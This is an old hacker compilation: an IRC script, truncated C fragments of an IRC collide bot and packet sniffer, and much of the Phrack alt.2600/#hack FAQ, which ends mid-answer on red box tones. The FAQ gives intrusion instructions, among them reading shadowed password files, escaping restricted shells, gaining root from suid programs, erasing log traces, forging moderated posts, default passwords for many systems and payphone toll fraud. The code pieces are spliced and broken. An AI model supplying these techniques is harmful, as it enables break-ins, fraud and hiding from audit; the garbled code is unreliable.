#
# converted to 2.2.1 by phone
# CONVERTED for ircII2.2
# Version for servers 2.7.1* by Nap@irc
# Original script from YeggMan
# Simplification by Daemon
# This version works both with old and new 2.7.1e kill formats !
@ kpath.kpath = []
alias kpath echo ### Last received KILL Path: $kpath.kpath
alias kpath.ridx @ function_return = RINDEX(! $0) + 1
alias kpath.is_serv @ function_return = INDEX(. $MID($kpath.ridx($0) 512 $0))
alias kpath.opkill echo ### KILL for $0 $MID($kpath.ridx($1) 9 $1) $2-
alias kpath.svkill echo ### ServerKill for $0
on ^server_notice "% * Notice -- Received KILL*" {
if ([$9] == [From])
{
^assign kpath.kpath $12-
if (kpath.is_serv($12) > -1)
{ kpath.svkill $8 }
{ kpath.opkill $8 $10 $13- }
}
{
^assign kpath.kpath $10-
if (kpath.is_serv($10) > -1)
{ kpath.svkill $8 }
{ kpath.opkill $8 $10 $11- }
}
}
###[End of stolen code]########################################################
# #
### HackOP loaded message, misc stuff.
# #
alias umode mode $N $0-
echo [HackOP] HackOP.irc v1.3+path loaded. Type /hackhelp for help
[Editor's Note: This is used in conjunction with the next program]
/*=============================================================*\
* ll.c - link looker *
* Copyright (C) 1994 by The Software System *
* Written by George Shearer (george@sphinx.biosci.wayne.edu) *
\*=============================================================*/
/* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#define BUFSIZE 400 /* IRC Server buffer */
#define SERVER "irc.escape.com" /* IRC Server */
#define PORT 6667 /* IRC Port */
#define DELAYS 30 /* Loop delay seconds*/
#define TIMEOUT 30 /* connection timeout*/
#define ESTABLISHED 1
#define INPROGRESS 2
#define SPLIT 1
unsigned short int session=0,link_count=0;
char in[BUFSIZE],out_buf[BUFSIZE],hostname[64];
char *ins=in;
char *dedprsn, *kradprsn;
/*===============================*\
|* MCB - Multi-CollideBot v1.5a *|
|* Written by Dr. Delete *|
|* Basically just a way to make *|
|* several TCP connections to a *|
|* server in one small process. *|
\*===============================*/
Editors Note: Welcome to special release of the alt.2600/#hack FAQ for
Phrack Magazine!
The purpose of this FAQ is to give you a general
introduction to the topics covered on alt.2600 and
#hack. No document will make you a hacker.
If you have a question regarding any of the topics
covered in the FAQ, please direct it to alt.2600 or
#hack. Please do not e-mail me with them, I'm getting
swamped.
If your copy of the alt.2600/#hack FAQ does not end with
the letters EOT on a line by themselves, you do not have
the entire FAQ.
We work in the dark
We do what we can
We give what we have
Our doubt is our passion,
and our passion is our task
The rest is the madness of art.
-- Henry James
Section A: Computers
01. How do I access the password file under Unix?
02. How do I crack Unix passwords?
03. What is password shadowing?
04. Where can I find the password file if it's shadowed?
05. What is NIS/yp?
06. What are those weird characters after the comma in my passwd file?
07. How do I access the password file under VMS?
08. How do I crack VMS passwords?
09. How do I break out of a restricted shell?
10. How do I gain root from a suid script or program?
11. How do I erase my presence from the system logs?
12. How do I send fakemail?
13. How do I fake posts to UseNet?
14. How do I hack ChanOp on IRC?
15. How do I modify the IRC client to hide my real username?
16. How to I change to directories with strange characters in them?
17. What is ethernet sniffing?
18. What is an Internet Outdial?
19. What are some Internet Outdials?
20. What is this system?
21. What are the default accounts for XXX ?
22. What port is XXX on?
23. What is a trojan/worm/virus/logic bomb?
24. How can I protect myself from viruses and such?
25. Where can I get more information about viruses?
26. What is Cryptoxxxxxxx?
27. What is PGP?
28. What is Tempest?
29. What is an anonymous remailer?
30. What are the addresses of some anonymous remailers?
31. How do I defeat copy protection?
32. What is 127.0.0.1?
33. How do I post to a moderated newsgroup?
Section B: Telephony
01. What is a Red Box?
02. How do I build a Red Box?
03. Where can I get a 6.5536Mhz crystal?
04. Which payphones will a Red Box work on?
05. How do I make local calls with a Red Box?
06. What is a Blue Box?
07. Do Blue Boxes still work?
08. What is a Black Box?
09. What do all the colored boxes do?
10. What is an ANAC number?
11. What is the ANAC number for my area?
12. What is a ringback number?
13. What is the ringback number for my area?
14. What is a loop?
15. What is a loop in my area?
16. What is a CNA number?
17. What is the telephone company CNA number for my area?
18. What are some numbers that always ring busy?
19. What are some numbers that temporarily disconnect phone service?
20. What is scanning?
21. Is scanning illegal?
22. Where can I purchase a lineman's handset?
23. What are the DTMF frequencies?
24. What are the frequencies of the telephone tones?
25. What are all of the * (LASS) codes?
26. What frequencies do cordless phones operate on?
27. What is Caller-ID?
28. What is a PBX?
29. What is a VMB?
Section C: Resources
01. What are some ftp sites of interest to hackers?
02. What are some fsp sites of interest to hackers?
03. What are some newsgroups of interest to hackers?
04. What are some telnet sites of interest to hackers?
05. What are some gopher sites of interest to hackers?
06. What are some World wide Web (WWW) sites of interest to hackers?
07. What are some IRC channels of interest to hackers?
08. What are some BBS's of interest to hackers?
09. What are some books of interest to hackers?
10. What are some videos of interest to hackers?
11. What are some mailing lists of interest to hackers?
12. What are some print magazines of interest to hackers?
13. What are some e-zines of interest to hackers?
14. What are some organizations of interest to hackers?
15. Where can I purchase a magnetic stripe encoder/decoder?
16. What are the rainbow books and how can I get them?
Section D: 2600
01. What is alt.2600?
02. What does "2600" mean?
03. Are there on-line versions of 2600 available?
04. I can't find 2600 at any bookstores. What can I do?
05. Why does 2600 cost more to subscribe to than to buy at a newsstand?
Section E: Phrack Magazine
01. What is Phrack Magazine?
02. How can I reach Phrack Magazine?
03. Who Publishes Phrack?
04. How often does Phrack go out?
05. How do I subscribe?
06. Why don't I get any response when I email Phrack?
07. Does Phrack cost money?
08. How can I submit articles?
09. What is Phrack's PGP key?
10. Where can I get back issues?
Section F: Miscellaneous
01. What does XXX stand for?
02. How do I determine if I have a valid credit card number?
03. What bank issued this credit card?
04. What are the ethics of hacking?
05. Where can I get a copy of the alt.2600/#hack FAQ?
Section A: Computers
~~~~~~~~~~~~~~~~~~~~
01. How do I access the password file under Unix?
In standard Unix the password file is /etc/passwd. On a Unix system
with either NIS/yp or password shadowing, much of the password data
may be elsewhere.
02. How do I crack Unix passwords?
Contrary to popular belief, Unix passwords cannot be decrypted. Unix
passwords are encrypted with a one way function. The login program
encrypts the text you enter at the "password:" prompt and compares
that encrypted string against the encrypted form of your password.
Password cracking software uses wordlists. Each word in the wordlist
is encrypted and the results are compared to the encrypted form of the
target password.
The best cracking program for Unix passwords is currently Crack by
Alec Muffett. For PC-DOS, the best package to use is currently
CrackerJack.
03. What is password shadowing?
Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.
To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.
04. Where can I find the password file if it's shadowed?
Unix Path Token
-----------------------------------------------------------------
AIX 3 /etc/security/passwd !
or /tcb/auth/files/
of username>/
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/
of username>/
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
05. What is NIS/yp?
NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages). The purpose for NIS is to allow many
machines on a network to share configuration information, including
password data. NIS is not designed to promote system security. If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:
+::0:0:::
To view the real password file use this command "ypcat passwd"
06. What are those weird characters after the comma in my passwd file?
The characters are password aging data. Password aging forces the
user to change passwords after a System Administrator specified period
of time. Password aging can also force a user to keep a password for
a certain number of weeks before changing it.
]
] Sample entry from /etc/passwd with password aging installed:
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
Note the comma in the encrypted password field. The characters after
the comma are used by the password aging mechanism.
1: Maximum number of weeks a password can be used without changing.
2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.
Three special cases should be noted:
If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.
If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.
If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password. Only root can
change that users password.
It should also be noted that the su command does not check the password
aging data. An account with an expired password can be su'd to
without being forced to change the password.
Password Aging Codes
+------------------------------------------------------------------------+
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |
+------------------------------------------------------------------------+
07. How do I access the password file under VMS?
Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However,
unlike Unix, most users do not have access to read the password file.
08. How do I crack VMS passwords?
Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.
Two such programs are known to exist, CHECK_PASSWORD and
GUESS_PASSWORD.
09. How do I break out of a restricted shell?
On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function. A good example is vi. Run vi and use this command:
:set shell=/bin/sh
then shell using this command:
:shell
10. How do I gain root from a suid script or program?
1. Change IFS.
If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS. IFS is the Internal
Field Separator that the shell uses to delimit arguments.
If the program contains a line that looks like this:
system("/bin/date")
and you change IFS to '/' the shell will them interpret the
proceeding line as:
bin date
Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.
Create a symbolic link named "-i" to the program. Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode. This only works on suid shell scripts.
Example:
% ln suid.sh -i
% -i
#
3. Exploit a race condition
Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.
Example:
nice -19 suidprog ; ln -s evilprog suidroot
4. Send bad input to the program.
Invoke the name of the program and a separate command on the same
command line.
Example:
suidprog ; id
11. How do I erase my presence from the system logs?
Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.
For a moderated newsgroup, inews will also require this line:
Approved:
Then add your post and terminate with .
Example:
From: Eric S. Real
Newsgroups: alt.hackers
Subject: Pathetic bunch of wannabe losers
Message-ID:
Date: Fri, 13 Aug 1994 12:15:03
Organization: Moral Majority
A pathetic bunch of wannabe losers is what most of you are, with no
right to steal the honorable title of `hacker' to puff up your silly
adolescent egos. Get stuffed, get lost, and go to jail.
Eric S. Real
^D
Note that many systems will append an Originator: line to your message
header, effectively revealing the account from which the message was
posted.
14. How do I hack ChanOp on IRC?
Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on. When
that server reconnects to the net, you will have ChanOp on the real
channel. If you have ServerOp on a server, you can cause it to split
on purpose.
15. How do I modify the IRC client to hide my real username?
Get the IRC client from cs.bu.edu /irc/clients. Look at the source
code files irc.c and ctcp.c. The code you are looking for is fairly
easy to spot. Change it. Change the username code in irc.c and the
ctcp information code in ctcp.c. Compile and run your client.
Here are the diffs from a sample hack of the IRC client. Your client
code will vary slightly depending on what IRC client version you are
running.
*** ctcp.c.old Wed Feb 10 10:08:05 1993
--- ctcp.c Fri Feb 12 04:33:55 1993
***************
*** 331,337 ****
struct passwd *pwd;
long diff;
int uid;
! char c;
/*
* sojge complained that ircII says 'idle 1 seconds'
--- 331,337 ----
struct passwd *pwd;
long diff;
int uid;
! char c, *fing;
*** irc.c.old Wed Feb 10 06:33:11 1993
--- irc.c Fri Feb 12 04:02:11 1993
***************
*** 510,516 ****
malloc_strcpy(&my_path, "/");
if (*realname == null(char))
strmcpy(realname, "*Unknown*", REALNAME_LEN);
! if (*username == null(char))
{
if (ptr = getenv("USER"))
strmcpy(username, ptr, NAME_LEN);
--- 510,518 ----
malloc_strcpy(&my_path, "/");
if (*realname == null(char))
strmcpy(realname, "*Unknown*", REALNAME_LEN);
! if (ptr = getenv("IRCUSER"))
! strmcpy(username, ptr, NAME_LEN);
! else if (*username == null(char))
{
if (ptr = getenv("USER"))
strmcpy(username, ptr, NAME_LEN);
16. How to I change to directories with strange characters in them?
These directories are often used by people trying to hide information,
most often warez (commercial software).
There are several things you can do to determine what these strange
characters are. One is to use the arguments to the ls command that
cause ls to give you more information:
From the man page for ls:
-F Causes directories to be marked with a trailing ``/'',
executable files to be marked with a trailing ``*'', and
symbolic links to be marked with a trailing ``@'' symbol.
-q Forces printing of non-graphic characters in filenames as the
character ``?''.
-b Forces printing of non-graphic characters in the \ddd
notation, in octal.
Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine. Then you can do a "cat -t -v -e filename" to see exactly
what those bizarre little characters are.
From the man page for cat:
-v Causes non-printing characters (with the exception of tabs,
newlines, and form feeds) to be displayed. Control characters
are displayed as ^X (x), where X is the key pressed with
the key (for example, m is displayed as ^M). The character (octal 0177) is printed as ^?. Non-ASCII
characters (with the high bit set) are printed as M -x, where
x is the character specified by the seven low order bits.
-t Causes tabs to be printed as ^I and form feeds as ^L. This
option is ignored if the -v option is not specified.
-e Causes a ``$'' character to be printed at the end of each line
(prior to the new-line). This option is ignored if the -v
option is not set.
If the directory name includes a or a you will need to
enclose the entire directory name in quotes. Example:
cd ".."
On an IBM-PC, you may enter these special characters by holding down
the key and entering the decimal value of the special character
on your numeric keypad. When you release the key, the special
character should appear on your screen. An ASCII chart can be very
helpful.
Sometimes people will create directories with some of the standard
stty control characters in them, such as ^Z (suspend) or ^C (intr).
To get into those directories, you will first need to user stty to
change the control character in qustion to another character.
From the man page for stty:
Control assignments
control-character C
Sets control-character to C, where control-character is
erase, kill, intr (interrupt), quit, eof, eol, swtch
(switch), start, stop or susp.
start and stop are available as possible control char-
acters for the control-character C assignment.
If C is preceded by a caret (^) (escaped from the
shell), then the value used is the corresponding con-
trol character (for example, ^D is a d; ^? is
interpreted as DELETE and ^- is interpreted as unde-
fined).
Use the stty -a command to see your current stty settings, and to
determine which one is causing you problems.
17. What is ethernet sniffing?
Ethernet sniffing is listening (with software) to the raw ethernet
device for packets that interest you. When your software sees a
packet that fits certain criteria, it logs it to a file. The most
common criteria for an interesting packet is one that contains words
like "login" or "password."
Many ethernet sniffers are available, here are a few that may be on
your system now:
OS Sniffer
~~ ~~~~~~~
HP/UX nettl (monitor) & netfmt (display)
nfswatch /* Available via anonymous ftp */
Irix nfswatch /* Available via anonymous ftp */
Etherman
SunOS etherfind
nfswatch /* Available via anonymous ftp */
Solaris snoop
DOS ETHLOAD /* Available via anonymous ftp as */
/* ethld104.zip */
The Gobbler /* Available via anonymous ftp */
LanPatrol
LanWatch
Netmon
Netwatch
Netzhack /* Available via anonymous ftp at */
/* mistress.informatik.unibw-muenchen.de */
/* /pub/netzhack.mac */
Macintosh Etherpeek
/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;
if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);
do_it();
}
==Phrack Magazine==
Volume Six, Issue Forty-Seven, File 6 of 22
18. What is an Internet Outdial?
An Internet outdial is a modem connected to the Internet than you can
use to dial out. Normal outdials will only call local numbers. A GOD
(Global OutDial) is capable of calling long distance. Outdials are an
inexpensive method of calling long distance BBS's.
19. What are some Internet Outdials?
This FAQ answer is excerpted from CoTNo #5:
Internet Outdial List v3.0
by Cavalier and DisordeR
Introduction
------------
There are several lists of Internet outdials floating around the net these
days. The following is a compilation of other lists, as well as v2.0 by
DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author
just ripped other people and released it, we have sat down and tested
each one of these. Some of them we have gotten "Connection Refused" or
it timed out while trying to connect...these have been labeled dead.
Working Outdials
----------------
as of 12/29/94
NPA IP Address Instructions
--- ---------- ------------
215 isn.upenn.edu modem
Conclusion
----------
If you find any of the outdials to have gone dead, changed commands,
or require password, please let us know so we can keep this list as
accurate as possible. If you would like to add to the list, feel free
to mail us and it will be included in future versions of this list,
with your name beside it. Have fun...
[Editors note: Updates have been made to this document after
the original publication]
20. What is this system?
AIX
~~~
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:
[You will know an AIX system because it is the only Unix system that]
[clears the screen and issues a login prompt near the bottom of the]
[screen]
AS/400
~~~~~~
UserID?
Password?
Once in, type GO MAIN
CDC Cyber
~~~~~~~~~
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.
88/02/16. 02.36.53. N265100
CSUS CYBER 170-730. NOS 2.5.2-678/3.
FAMILY:
You would normally just hit return at the family prompt. Next prompt is:
USER NAME:
CISCO Router
~~~~~~~~~~~~
FIRST BANK OF TNO
95-866 TNO VirtualBank
REMOTE Router - TN043R1
Console Port
SN - 00000866
TN043R1>
DECserver
~~~~~~~~~
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700
(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved
Dynix (The library software, not the UnixOS)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Type 'later' to exit to the login prompt)
setup
library
circ <9 digit number>
Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO MANAGER.SYS
HELLO MGR.SYS
HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP
HELLO OP.OPERATOR
MGR CAROLIAN
MGR CCC
MGR CNAS
MGR CONV
MGR COGNOS
OPERATOR COGNOS
MANAGER COGNOS
OPERATOR DISC
MGR HPDESK
MGR HPWORD
FIELD HPWORD
MGR HPOFFICE
SPOOLMAN HPOFFICE
ADVMAIL HPOFFICE
MAIL HPOFFICE
WP HPOFFICE
MANAGER HPOFFICE
MGR HPONLY
FIELD HPP187
MGR HPP187
MGR HPP189
MGR HPP196
MGR INTX3
MGR ITF3000
MANAGER ITF3000
MAIL MAIL
MGR NETBASE
MGR REGO
MGR RJE
MGR ROBELLE
MANAGER SECURITY
MGR SECURITY
FIELD SERVICE
MANAGER SYS
MGR SYS
PCUSER SYS
RSBCMON SYS
OPERATOR SYS
OPERATOR SYSTEM
FIELD SUPPORT
OPERATOR SUPPORT
MANAGER TCH
MAIL TELESUP
MANAGER TELESUP
MGR TELESUP
SYS TELESUP
MGE VESOFT
MGE VESOFT
MGR WORD
MGR XLSERVER
Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote
Major BBS
~~~~~~~~~
Sysop Sysop
Mitel PBX
~~~~~~~~~
SYSTEM
Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
fax
Alternately you can hit when the boot sequence asks you for the
date and create an account using:
RUN ACNT
or RUN $ACNT
(Numbers below 10 {oct} are Priveleged)
Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
type "abo at." You must include the . dot!
If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.
type " run $acnt" and change the password of any account with a group
number of 7 or less.
You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.
If none of the above work, use the halt switch to halt the system,
just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx.
then deposit 177777 into R6, cross your fingers, write protect the drive
and continue the system. This will hopefully result in indirect blowing
up... And hopefully the system has not been fully secured.
SGI Irix
~~~~~~~~
4DGifts
guest
demos
lp
nuucp
tour
tutor
System 75
~~~~~~~~~
bcim bcimpw
bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field
XON / XON Junior
~~~~~~~~~~~~~~~~
Default password: 166831
22. What port is XXX on?
The file /etc/services on most Unix machines lists the port
assignments for that machine. For a complete list of port
assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"
23. What is a trojan/worm/virus/logic bomb?
This FAQ answer was written by Theora:
Trojan:
Remember the Trojan Horse? Bad guys hid inside it until they could
get into the city to do their evil deed. A trojan computer program is
similar. It is a program which does an unauthorized function, hidden
inside an authorized program. It does something other than what it
claims to do, usually something malicious (although not necessarily!),
and it is intended by the author to do whatever it does. If it's not
intentional, its called a 'bug' or, in some cases, a feature :) Some
virus scanning programs detect some trojans. Some virus scanning
programs don't detect any trojans. No virus scanners detect all
trojans.
Virus:
A virus is an independent program which reproduces itself. It may
attach to other programs, it may create copies of itself (as in
companion viruses). It may damage or corrupt data, change data, or
degrade the performance of your system by utilizing resources such as
memory or disk space. Some virus scanners detect some viruses. No
virus scanners detect all viruses. No virus scanner can protect
against "any and all viruses, known and unknown, now and forevermore".
Worm:
Made famous by Robert Morris, Jr. , worms are programs which reproduce
by copying themselves over and over, system to system, using up
resources and sometimes slowing down the systems. They are self
contained and use the networks to spread, in much the same way viruses
use files to spread. Some people say the solution to viruses and
worms is to just not have any files or networks. They are probably
correct. We would include computers.
Logic Bomb:
Code which will trigger a particular form of 'attack' when a
designated condition is met. For instance, a logic bomb could delete
all files on Dec. 5th. Unlike a virus, a logic bomb does not make
copies of itself.
24. How can I protect myself from viruses and such?
This FAQ answer was written by Theora:
The most common viruses are boot sector infectors. You can help
protect yourself against those by write protecting all disks which you
do not need write access to. Definitely keep a set of write protected
floppy system disks. If you get a virus, it will make things much
simpler. And, they are good for coasters. Only kidding.
Scan all incoming files with a recent copy of a good virus scanner.
Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and
Thunderbyte Anti-Virus. AVP is also a good proggie. Using more than
one scanner could be helpful. You may get those one or two viruses
that the other guy happened to miss this month.
New viruses come out at the rate of about 8 per day now. NO scanner
can keep up with them all, but the four mentioned here do the best job
of keeping current. Any _good_ scanner will detect the majority of
common viruses. No virus scanner will detect all viruses.
Right now there are about 5600 known viruses. New ones are written
all the time. If you use a scanner for virus detection, you need to
make sure you get frequent updates. If you rely on behaviour
blockers, you should know that such programs can be bypassed easily by
a technique known as tunnelling.
You may want to use integrity checkers as well as scanners. Keep in
mind that while these can supply added protection, they are not
foolproof.
You may want to use a particular kind of scanner, called resident
scanners. Those are programs which stay resident in the computer
memory and constantly monitor program execution (and sometimes even
access to the files containing programs). If you try to execute a
program, the resident scanner receives control and scans it first for
known viruses. Only if no such viruses are found, the program is
allowed to execute.
Most virus scanners will not protect you against many kinds of
trojans, any sort of logic bombs, or worms. Theoretically, they
_could_ protect you against logic bombs and/or worms, by addition of
scanning strings; however, this is rarely done.
The best, actually only way, to protect yourself is to know what you
have on your system and make sure what you have there is authorised by
you. Make freqent backups of all important files. Keep your DOS
system files write protected. Write protect all disks that you do not
need to write to. If you do get a virus, don't panic. Call the
support department of the company who supplies your anti-virus product
if you aren't sure of what you are doing. If the company you got your
anti-virus software from does not have a good technical support
department, change companies.
The best way to make sure viruses are not spread is not to spread
them. Some people do this intentionally. We discourage this. Viruses
aren't cool.
25. Where can I get more information about viruses?
This FAQ answer was written by Theora:
Assembly lanaguage programming books illustrate the (boring) aspect of
replication and have for a long time. The most exciting/interesting
thing about viruses is all the controversy around them. Free speech,
legality, and cute payloads are a lot more interesting than "find
first, find next" calls. You can get information about the technical
aspects of viruses, as well as help if you should happen to get a
virus, from the virus-l FAQ, posted on comp. virus every so often.
You can also pick up on the various debates there. There are
alt.virus type newsgroups, but the level of technical expertise is
minimal, and so far at least there has not been a lot of real "help"
for people who want to get -rid- of a virus.
There are a lot of virus experts. To become one, just call yourself
one. Only Kidding. Understanding viruses involves understanding
programming, operating systems, and their interaction. Understanding
all of the 'Cult of Virus' business requires a lot of discernment.
There are a number of good papers available on viruses, and the Cult
of Virus; you can get information on them from just about anyone
listed in the virus-l FAQ. The FTP site ftp.informatik.uni-hamburg.de
is a pretty reliable site for proggies and text.
26. What is Cryptoxxxxxxx?
This FAQ answer is excerpted from: Computer Security Basics
by Deborah Russell
and G.T. Gengemi Sr.
A message is called either plaintext or cleartext. The process of
disguising a message in such a way as to hide its substance is called
encryption. An encrypted message is called ciphertext. The process
of turning ciphertext back into plaintext is called decryption.
The art and science of keeping messages secure is called cryptography,
and it is practiced by cryptographers. Cryptanalysts are
practitioners of cryptanalysis, the art and science of breaking
ciphertext, i.e. seeing through the disguise. The branch of
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.
27. What is PGP?
This FAQ answer is excerpted from: PGP(tm) User's Guide
Volume I: Essential Topics
by Philip Zimmermann
PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure
channels needed for prior exchange of keys. PGP is well featured and
fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.
Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a
high security cryptographic software application for MS-DOS, Unix,
VAX/VMS, and other computers. PGP allows people to exchange files or
messages with privacy, authentication, and convenience. Privacy means
that only those intended to receive a message can read it.
Authentication means that messages that appear to be from a particular
person can only have originated from that person. Convenience means
that privacy and authentication are provided without the hassles of
managing keys associated with conventional cryptographic software. No
secure channels are needed to exchange keys between users, which makes
PGP much easier to use. This is because PGP is based on a powerful
new technology called "public key" cryptography.
PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)
public key cryptosystem with the speed of conventional cryptography,
message digests for digital signatures, data compression before
encryption, good ergonomic design, and sophisticated key management.
And PGP performs the public-key functions faster than most other
software implementations. PGP is public key cryptography for the
masses.
28. What is Tempest?
Tempest stands for Transient Electromagnetic Pulse Surveillance
Technology.
Computers and other electronic equipment release interference to their
surrounding environment. You may observe this by placing two video
monitors close together. The pictures will behave erratically until
you space them apart.
Although most of the time these emissions are simply annoyances, they
can sometimes be very helpful. Suppose we wanted to see what project
a target was working on. We could sit in a van outside her office and
use sensitive electronic equipment to attempt to pick up and decipher
the emanations from her video monitor.
Our competitor, however, could shield the emanations from her
equipment or use equipment without strong emanations.
Tempest is the US Government program for evaluation and endorsement
of electronic equipment that is safe from eavesdropping.
29. What is an anonymous remailer?
An anonymous remailer is a system on the Internet that allows you to
send e-mail anonymously or post messages to Usenet anonymously.
You apply for an anonymous ID at the remailer site. Then, when you
send a message to the remailer, it sends it out from your anonymous ID
at the remailer. No one reading the post will know your real account
name or host name. If someone sends a message to your anonymous ID,
it will be forwarded to your real account by the remailer.
30. What are the addresses of some anonymous remailers?
The most popular and stable anonymous remailer is anon.penet.fi,
operated by Johan Helsingus. To obtain an anonymous ID, mail
ping@anon.penet.fi. For assistance is obtaining an anonymous account
at penet, mail help@anon.penet.fi.
To see a list on anonymous remailers, finger
remailer-list@kiwi.cs.berkeley.edu.
31. How do I defeat Copy Protection?
There are two common methods of defeating copy protection. The first
is to use a program that removes copy protection. Popular programs
that do this are CopyIIPC from Central Point Software and CopyWrite
from Quaid Software. The second method involves patching the copy
protected program. For popular software, you may be able to locate a
ready made patch. You can them apply the patch using any hex editor,
such as debug or the Peter Norton's DiskEdit. If you cannot, you must
patch the software yourself.
Writing a patch requires a debugger, such as Soft-Ice or Sourcer. It
also requires some knowledge of assembly language. Load the protected
program under the debugger and watch for it to check the protection
mechanism. When it does, change that portion of the code. The code
can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to
JMP (Jump Unconditionally). Or the code may simply be replaced with
NOP (No Operation) instructions.
32. What is 127.0.0.1?
127.0.0.1 is a loopback network connection. If you telnet, ftp, etc...
to it you are connected to your own machine.
33. How do I post to a moderated newsgroup?
Usenet messages consist of message headers and message bodies. The
message header tells the news software how to process the message.
Headers can be divided into two types, required and optional. Required
headers are ones like "From" and "Newsgroups." Without the required
headers, your message will not be posted properly.
One of the optional headers is the "Approved" header. To post to a
moderated newsgroup, simply add an Approved header line to your
message header. The header line should contain the newsgroup
moderators e-mail address. To see the correct format for your target
newsgroup, save a message from the newsgroup and then look at it using
any text editor.
A "Approved" header line should look like this:
Approved: will@gnu.ai.mit.edu
There cannot not be a blank line in the message header. A blank line
will cause any portion of the header after the blank line to be
interpreted as part of the message body.
For more information, read RFC 1036: Standard for Interchange of
USENET messages.
Section B: Telephony
~~~~~~~~~~~~~~~~~~~~
01. What is a Red Box?
When a coin is inserted into a payphone, the payphone emits a set of
tones to ACTS (Automated Coin Toll System). Red boxes work by fooling
ACTS into believing you have actually put money into the phone. The
red box simply plays the ACTS tones into the telephone microphone.
ACTS hears those tones, and allows you to place your call. The actual
tones are:
